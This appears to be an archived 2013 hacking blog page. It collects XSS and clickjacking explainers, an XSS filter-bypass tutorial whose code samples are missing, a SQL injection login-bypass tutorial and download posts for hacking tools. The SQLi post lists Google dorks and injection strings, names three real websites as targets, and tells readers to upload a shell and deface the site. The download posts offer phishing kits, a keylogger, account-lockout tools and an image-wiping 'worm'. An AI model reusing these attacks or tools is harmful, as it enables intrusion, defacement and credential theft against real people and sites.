The content in this blog just for educational purposes only.We are not responsible for anything.

Recent Post

Recent Posts

Showing posts with label website hacking. Show all posts
Showing posts with label website hacking. Show all posts

Wednesday, July 10, 2013

Self-XSS (Cross Site Scripting) ~ Social Engineering Attack and Prevention

Self-XSS (Cross Site Scripting) ~ Social Engineering Attack and Prevention



Last time , I have explained about the Clickjacking attack and prevention.  Today,  i am going to explain about the Self-XSS(Cross Site Scripting) Attack


What is Self-XSS?
Self-XSS is one of the popular Social Engineering Attack used by Attackers to trick users into paste the malicious code in browser.  Results in attacker accessing to the whatever website you visit. Usually scammers use this attack for tricking users to buy products or get money through online survey .

Recently, Hackers Attacked Facebook with explicit hardcore porn images. Facebook says it might be self-Xss Attack .

Javascript can be executed in browser url bar.
For example , enter the following code in your browser:
This will show a pop up box with "kotharavichandra".  An attacker can use this for malicious purpose. He can steal Confidential data, cookies, redirect to malware sites and more.
For Eg:
Entering the following code will display the cookies in your browser:

The above code is not going to anything maliciously other than displaying the cookies.  But an attacker can extend the script so that it can take advantage your data.

Security Tips from kotharavichandra:
  • Use NoScript add on that will prevent javascript running in your browser.
  • Don't click the shorthand urls for Example: bit.ly/55ewEb?22.  This may redirect to an infected sites. 
Aware of Social Engineering:
  • If anyone ask you(even if he is your friend) to paste the scripts in browser bar, Never do this mistake.  
  • If anyone says "Iphone only $10", Don't eager to click it. 
  • If anyone says "1000 shares will cure a baby", Never do this mistake. Facebook shares never help to get money or help to cure baby.
  • Read our EHN spam report to know the latest updates about the facebook scams.
God give us the Sixth Sense,Use it and think before you click any links or following the other instructions.

What is Clickjacking Attack? How to Prevent? | UI Redressing

What is Clickjacking Attack? How to Prevent? | UI Redressing



Will answering simple maths quiz delete your Social Network account?  If your answer is "No", then check this news Linkedin Clickjacking Vulnerability and come back.  Will visiting a website turn on your webcam? The answer is "Yes".  Check this Flash player clickjacking vulnerability.

If you read above news completely, It will be easy for you to understand  what is clickjacking.  Ok, lets continue to our Article.

Clickjacking also known as UI Redressing,is one of Malicious Technique tricking users to click the button/image that will run hidden malicious script from another site.
An attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the innocuous page. Thus an attacker hijack the click to another website.  That's why it is known as Clickjacking(Click+Hijacking).  The term "clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.

Example:
Lets take the real time example "Linkedin clickjacking vulnerability.
The above image may look like simple maths problem.  Once you click the submit button, it will delete your Linkedin account(if you are logged in) without asking any questions.

Clickjacking Attack can be used for:
  • Tricking users to turn on their webcam and microphone using this adobe vulnerability (this security flaw fixed by adobe)
  • Getting more Twitter Followers
  • Post in your facebook wall.
  • Can delete your profile.

Prevention Techniques:

Client Side(Security tips for users):
Flash Player:
Update your Flash Player(old version are vulnerable to Clickjacking). 

Browser Security Addons: 
Noscript:
Noscript is Mozilla add on that provides protection against clickjacking,XSS and other malicious scripts.  Noscript is available for mobiles also.

Comitari Web Protection Suite: Comitari provides client side protection against ClickJacking (aka UI Redressing) attacks. Installed as browser add-on

GuardedID: It is a commercial product which provides client-side clickjack protection for users of IE or Firefox without interfering with the operation of legitimate iFrames

Server Side( For Developers)
Frame Killer:
Framekiller is javascript snippet that can be used in webpage  to avoid inserting frames from different sources.  This can provide security against frame based clikjacking.

Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing

Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come).

Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
For eg: if you put the
, the Filter will escape the "(quote) character , so the script will become

Now this script won't work. Likewise Filters use different type of filtering method to give protection against the XSS.  In this case, we can use some tricks to bypass the filter.  Here i am going to cover that only.

1.Bypassing magic_quotes_gpc

The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ' (single-quote), " (double quote) and \  with a backslash automatically. For Eg:
will be filtered as
.so the script won't work now.

This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.
For Eg:

can be converted to

so the script will become .  In this case there is no "(quotes) or '(single quotes) or / so the filter can't filter this thing.  Yes, it will successfully run the script.
String.fromCharCode() is a javascript function that converts ASCII value to Characters.

How to convert to ASCII values?

There are some online sites that converts to ASCII character. But i suggest you to use Hackbar Mozilla addon .

After installing hackbar add on ,press F9.  It will open the small box above the url bar. click the XSS->String.fromCharCode()

Now it will popup small window. enter the code for instance alert("Hi").  click ok button.  Now we got the output.

copy the code into the inside and insert in the vulnerable sites

For eg: 


2.HEX Encoding

we can encode our whole script into HEX code so that it can't be filtered.
For example:
can be convert to HEX as:
Now put the code in the vulnerable site request.
For ex:
 Converting to HEX:
This site will convert to hex code: http://centricle.com/tools/ascii-hex/

3.Bypassing using Obfuscation

Some website admin put the script,alert in restricted word list.  so whenever you input this keywords, the filter will remove it and will give error message like "you are not allowed to search this". This can bypassed by changing the case of the keywords(namely Obfuscation). 
For eg:

This bypass technique rarely works but giving trial is worth.

4. Closing Tag

Sometimes putting "> at the beginning of the code will work.


This will end the previous opened tag and open our script tag.
Example:

Conclusion:
From above article, it is clear that XSS filters alone not going to protect a site from the XSS attacks. If you really want to make your site more secure, then ask PenTesters to test your application or test yourself.

Also there are lot of different filter bypassing technique, i just covered some useful techniques for you.

DOM Based Cross Site Scripting(XSS) vulnerability Tutorial

DOM Based Cross Site Scripting(XSS) vulnerability Tutorial

 So far i have explained about the Traditional Cross site scripting that occurs because of insecure server-side code. In this post , i am going to explain the DOM Based Cross Site Scripting vulnerability. if you don't know what is cross site scripting , then i recommend you to read the basics from here.

Before explaining about the DOM based xss, let me explain what DOM means to.

What is DOM?
DOM is expanded as Document object model that allows client-side-scripts(Eg: Javascript) to dynamically access and modify the content, structure, and style of a webpage.

Like server-side scripts, client-side scripts can also accept and manipulate user input with the help of DOM.

Here is a very simple HTML code that accepts and writes user input using JavaScript with the help of DOM.


If you know HTML and Javscript, understanding the above code is a piece of cake.

In the above example, the javascript code gets value from the url parameter "BTSinput" and writes the value in our webpage.

For example, if the url is
The webpage will display "default" as output.


Did you notice ?! The part of the webpage is not written by Server-side script.  The client side script modifies the content dynamically based on the input.   Everything done with the help of DOM object 'document'.

DOM Based XSS vulnerability:
When a developer writes the content using DOM object without sanitizing the user input , it allow an attacker to run his own code. 

In above example, we failed to sanitize the input and simply displayed the whatever value we get from the url. 

An attacker with malicious intention can inject a xss vector instead .  For example:





As i said earlier, the document.write function simply writes the value of BTSinput parameter in the webpage.  So it will write the
in the webpage without sanitizing.  This results in running the script code and displays the alert box.


Patching the DOM Based Cross Site Scripting Vulnerability
Audit all JavaScript code in use by your application to make sure that untrusted data is being escaped before being written into the document, evaluated, or sent as part of an AJAX request. There are dozens of JavaScript functions and properties which must be protected, including some which are rather non-obvious:

The document.write() function
The document.writeln() function
The eval() function, which executes JavaScript code from a string
The execScript() function, which works similarly to eval()
The setInterval(), setTimeout(), and navigate() functions
The .innerHTML property of a DOM element
Certain CSS properties which allow URLs such as .style, .backgroundImage, .listStyleImage, etc.
The event handler properties like .onClick, which take JavaScript code as their values

Any data which is derived from data under the client's control (e.g. request parameters, headers, query parameters, cookie names and values, the URL of the request itself, etc.) should be escaped before being used. Examples of user-controlled data include document.location (and most of its properties, e.g. document.location.search), document.referrer, cookie names and values, and request header names and values.

You can use the JavaScript built-in functions encode() or encodeURI() to handle your escaping. If you write your own escaping functions, be extremely careful. Rather than using a "black list" approach (where you filter dangerous characters and pass everything else through untouched), it is better to use a "white list" approach. A good white list approach is to escape everything by default and allow only alphanumeric characters through.

Reference:
http://www.rapid7.com/vulndb/lookup/http-client-side-xss

Demo Of Basic SQL injection for website hacking

 


You might have seen hackers hacking and defaceing websites, editing it with their own stuff, makeing post on websites etc. There are many methods of doing this, In this tutorial I will be showing you a very basic and simply SQLi (Structured Query Language Injection).  I will show you how to find the websites admin panel using a simple google dork and a SQL query to bypass the admin user name and password and enter into the panel. When you are in the panel just find a upload option and upload your shell, then deface it.


Dorks: inurl:adminlogin.aspx
            inurl:admin/index.php
            inurl:administrator.php
            inurl:administrator.asp
            inurl:login.asp
            inurl:login.aspx
            inurl:login.php
            inurl:admin/index.php
            inurl:adminlogin.aspx


# Try to make your own dorks also to get more success rate.


Hundreds of sites will open up having /adminlogin.aspx in their URL. Select any website, you will get the area from where the admins login. Fill the details as:
User: 1'or'1'='1
Password: 1'or'1'='1


Use the above mentioned login details and you will be into the admin panel of a website. I will not work for all the websites you will find, but will work on most of the website. 


Some websites which I got:
http://gimtech.in/Webadmin/AdminLogin.aspx
http://welkinindiagroup.com/admin/adminlogin.aspx
http://nobinsolutions.com/Adminlogin.aspx





Other InjecTion Queries:
‘ or 1=1 –
1'or’1'=’1
admin’–
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (‘x’='x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’='a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a
hi”) or (“a”=”)

What is Encryption?

What is Encryption? 


Encryption is a method or a technique used to encode a message so that it can’t be read by a normal user/person. Its an art of secret writing, It can also be defined as converting information from plain text using an algorithm or a cipher to make it unreadable, So that the converted information can only be read by the person who is having the special knowledge. The process of encoding is known as Encryption and its reverse process i.e. decoding it is known as Decryption. Encryption is very useful when it comes to protecting your confidential data from being stolen. It is helpful when data is transmitted over the network, it safe guards you data from sniffers. When data is needed to be encrypted over a network, SSL Protocol is used for encryption purpose. SSL stands for Secure Socket Layer.

Types of Encryptions


Symmetrical Key : This type of encryption is also know as Shared Key Secret. In symmetrical encryption, the key which is used in the process of encryption, that same key is also used in the process of decryption. If two parties want to exchange the encrypted data securely, both of them should have the same copy of symmetric key.


Asymmetrical Key : This type of encryption is also know as Public Key. In this type of encryption, keys are generated in pairs, public key and private key. In asymmetrical encryption key used to encipher is different from the key used to decipher. Therefore the two partners have two different keys, one is made public and other one is made private. Let’s take up an example to understand the concept in an easy way.
Suppose, John wants to send a message to Mike, he just ciphers the message with the public key and sends it to Mike. Since Mike is having the secret key, he can and decipher the message and read its content.

 


Thursday, July 4, 2013

IMAGE STEALING SOFTWARE : IMAGE WORM

IMAGE STEALING SOFTWARE : IMAGE WORM



Image Worm is a software which scans for all types of images on the local or remote computer and hacks them when it is executed. The resulting images after execution of Image Worm will be blank.

Download here:  


Password: hackingguide

EMAIL ACCOUNT HACKING SOFTWARE : WIN SPY KEYLOGGER

EMAIL ACCOUNT HACKING SOFTWARE : WIN SPY KEYLOGGER





Win Spy Keylogger is a highly tweakable keylogger of all keyloggers. It includes many options such as screen capture, remote viewer etc. which makes it best of all other keyloggers.


Download here:  

http://www.mediafire.com/download.php?imzlun0w2m0

WEP CRACKING TOOL : AIRSNORT

WEP CRACKING TOOL : AIRSNORT


AirSnort is a wireless LAN (WLAN) tool that recovers encryption keys. It operates by passively monitoring transmissions, computing the encryption key when enough packets have been gathered. Whereas Aircrack can crack both WEP and WPA passwords, AirSnort has a limitation to cracking only WEP passwords.

Download here (Linux Users):

http://www.megaupload.com/?d=6721AA1J

WEP/WPA CRACKING TOOL : AIRCRACK

WEP/WPA CRACKING TOOL : AIRCRACK


Aircrack is a suite of tools for 802.11a/b/g WEP and WPA cracking like Airsnort, but it is more efficient as it can crack both WEP and WPA passwords. It can recover a 40 through 512-bit WEP key once enough encrypted packets have been gathered. It can also attack WPA 1 or 2 networks using advanced cryptographic methods or by brute force. The suite includes airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).

Download here (Windows Users):

http://www.megaupload.com/?d=RFE87LXI

Download here (Linux Users):

http://www.megaupload.com/?d=1XPDKFUK

WIRELESS SNIFFER : KISMET

WIRELESS SNIFFER : KISMET


Kismet is a console based 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. It identifies networks by passively sniffing and can even decloak hidden networks if they are in use. It can automatically detect network IP blocks by sniffing TCP, UDP, ARP, and DHCP packets, log traffic in Wireshark/TCPDump compatible format, and even plot detected networks and estimated ranges on downloaded maps.  

Download here (Windows Users):

http://www.megaupload.com/?d=2RUEPA0B 

Download here (Linux Users):
 
http://www.megaupload.com/?d=ATRPIKOJ

EMAIL ACCOUNT HACKING SOFTWARE : YOUTUBE/WINDOWS LIVE/FACEBOOK FREEZER

EMAIL ACCOUNT HACKING SOFTWARE : YOUTUBE/WINDOWS LIVE/FACEBOOK FREEZER


This wonderful hacking program can freeze Youtube, Windows Live and Facebook accounts by use of repeated wrong login attempts. 


Download here 


http://www.ziddu.com/download/6949548/Youtube-WindowsLive-FacebookFreezer.rar.html 


Password: hackingguide

FACEBOOK HACKING SOFTWARE : FACEBOOK FRIEND BOMBER

FACEBOOK HACKING SOFTWARE : FACEBOOK FRIEND BOMBER



Facebook Friend Bomber will enable you to add new facebook profiles automatically. FaceBook is the hottest thing which has 132 Million Users. This software includes Auto Mass Gather IDs, Auto Mass Friend Request and Poker, Auto Mass Messenger and Wall Poster. Because your business will be automated, you will be free to focus on marketing, and expansion. You can do what you want, when you want, when you get ready.  

Download here: 

http://www.mediafire.com/download.php?tgw25dn1jd2

HACK FACEBOOK ACCOUNTS : FACEBOOK FREEZER

HACK FACEBOOK ACCOUNTS : FACEBOOK FREEZER



This program can freeze facebook accounts temporarily or permanently by hitting facebook with consecutive wrong login attempts. It also has a "watch the action" feature in which we can see the facebook freezing process.


Download here:

http://www.mediafire.com/download.php?hgmrizwzwjg

HACKING MYSPACE ACCOUNTS : MYSPACE PHISHER

HACKING MYSPACE ACCOUNTS : MYSPACE PHISHER




MySpace Phisher is a phisher (a fake login page) for hacking My Space accounts. Just send it to anyone and ask him to enter his login credentials. Once he enters his login details, a text file containing passwords of the user is generated automatically.


Download here: 


http://www.ziddu.com/download/6966115/MyspacePhisher.rar.html 


Password: hackingguide

HACKING GMAIL ACCOUNTS : GMAIL PHISHER

HACKING GMAIL ACCOUNTS : GMAIL PHISHER




Gmail phisher is a phisher (a fake login page) for hacking Gmail accounts. Just send it to anyone and ask him to enter his login credentials. Once he enters his login details, a text file containing passwords of the user is generated automatically. 

Download here:  

http://www.ziddu.com/download/6966112/GMAILPHISHER.rar.html 

Password: hackingguide

HACKING ORKUT ACCOUNTS : ORKUT PHISHER

HACKING ORKUT ACCOUNTS : ORKUT PHISHER




Orkut Phisher is a phisher (a fake login page) for hacking Orkut accounts. Just send it to anyone and ask him to enter his login credentials. Once he enters his login details, a text file containing passwords of the user is generated automatically.

Download here:  

http://www.ziddu.com/download/6966160/orkut.rar.html 

Password: hackingguide

SUPER PHISHER

SUPER PHISHER



Super Phisher Creator is a more advanced Phisher builder than the simple Phisher Creator. We can create phishing page for any website by using this phisher creator to hack any email account.


Download here:  

http://www.ziddu.com/download/6966159/SUPERPHISHER.rar.html   

Password: hackingguide

PHISHER CREATOR

PHISHER CREATOR





Phisher Creator is an advanced phishing page builder for all websites. We can create phishing page for any website by using this phisher creator to hack any email account. 

Download here:  

http://www.ziddu.com/download/6966161/PhishcreateV2.rar.html 

Password: hackingguide

HACK EMAIL ACCOUNTS : 34 IN 1 PHISHER PACK

HACK EMAIL ACCOUNTS : 34 IN 1 PHISHER PACK



As the name says, this phisher pack consists of 34 ready made phishing pages of websites like paypal, ebay, yahoo, gmail etc.

Download here:

http://www.mediafire.com/download.php?yzm3k1mojhu